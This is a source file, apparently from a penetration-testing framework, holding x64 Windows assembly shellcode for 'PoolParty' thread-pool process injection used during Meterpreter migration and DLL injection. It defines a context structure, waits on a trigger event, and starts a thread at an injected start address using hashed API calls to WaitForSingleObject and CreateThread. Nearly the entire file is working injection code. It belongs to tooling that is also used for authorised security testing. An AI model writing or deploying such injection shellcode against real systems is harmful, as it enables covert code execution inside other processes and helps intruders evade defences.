Path: blob/master/external/source/shellcode/windows/x64/src/migrate/poolparty.asm
28832 views
;-----------------------------------------------------------------------------;1; Author: Diego Ledda (diego_ledda[at]rapid7[dot]com)2; Compatible: Windows 11, 103; Architecture: x644; Version: 0.4 (July 2024)5; Size: 276 bytes6; Build: >build.py poolparty7;-----------------------------------------------------------------------------;89; Stub helper for pool-party injection.1011;typedef struct _POOLPARTYCTX12;{13; union14; {15; LPVOID lpStartAddress;16; BYTE bPadding1[8];17; } s;18; union19; {20; LPVOID lpParameter;21; BYTE bPadding2[8];22; } p;23; union24; {25; LPVOID hEventTrigger;26; BYTE bPadding2[8];27; } e;28;29;} POOLPARTYCTX, * LPPOOLPARTYCTX;30; Description:31; This stub is executed during the Meterpreter migration and DLL Injection. The POOLPARTYCTX must be allocated ALWAYS at the end of the shellcode,32; this is mandatory as some pool-party variants doesn't support arguments passing. Also an hEventTrigger during migration is mandatory because33; we need to wait the ok from the previous Meterpreter to continue the execution. with other techniques (RemoteThread and APC)34; We are starting the process in SUSPENDED mode and then Resuming it, here we need to wait for an event.35; This shellcode is done to work with multiple PoolParty variants.36; Supported Variants:37; - TP Direct Insertion3839[BITS 64]40[ORG 0]41cld ; Clear the direction flag.42push rbp43push rdi44push rsi45mov rdi, rsp ; Saves RSP to RDI46jmp _parameters ; Get the POOLPARTYCTX after the shellcode,47_cb_parameters: ; Unluckly in some PoolParty variants we cannot receive parameters.48pop rsi ; RSI = POOLPARTYCTX49sub rsp, 0x78 ; Alloc some space on stack50call start ; Call start, this pushes the address of 'api_call' onto the stack. ;51%include "./src/block/block_api.asm" ;52start:53pop rbp ; Pop off the address of 'api_call' for calling later.54mov ecx, [rsi+16] ; Get hEventTrigger55xor rdx, rdx ;56dec edx ; Decrement rdx down to -1 (INFINITE)57mov r10d, 0x601D8708 ; hash( "kernel32.dll", "WaitForSingleObject" )58call rbp ; WaitForSingleObject(hEventTrigger, INFINITE);59xor rdx, rdx ; zero RDX60mov r8, [rsi] ; r8 = ctx->lpStartAddress61mov r9, [rsi+8] ; r9 = ctx->lpParameter62xor rcx, rcx ; Clear ECX, lpThreadAttributes63push rcx ; lpThreadId64push rcx ; dwCreationFlags65mov r10d, 0x160D6838 ; hash( "kernel32.dll", "CreateThread" )66call rbp ; CreateThread( NULL, 0, ctx->lpStartAddress, ctx->lpParameter, 0, NULL );67cleanup:68mov rsp, rdi ; Restore Stack69pop rsi70pop rdi71pop rbp72ret73_parameters:74call _cb_parameters ; Simple way to get the address of the POOLPARTYCTX using the return address7576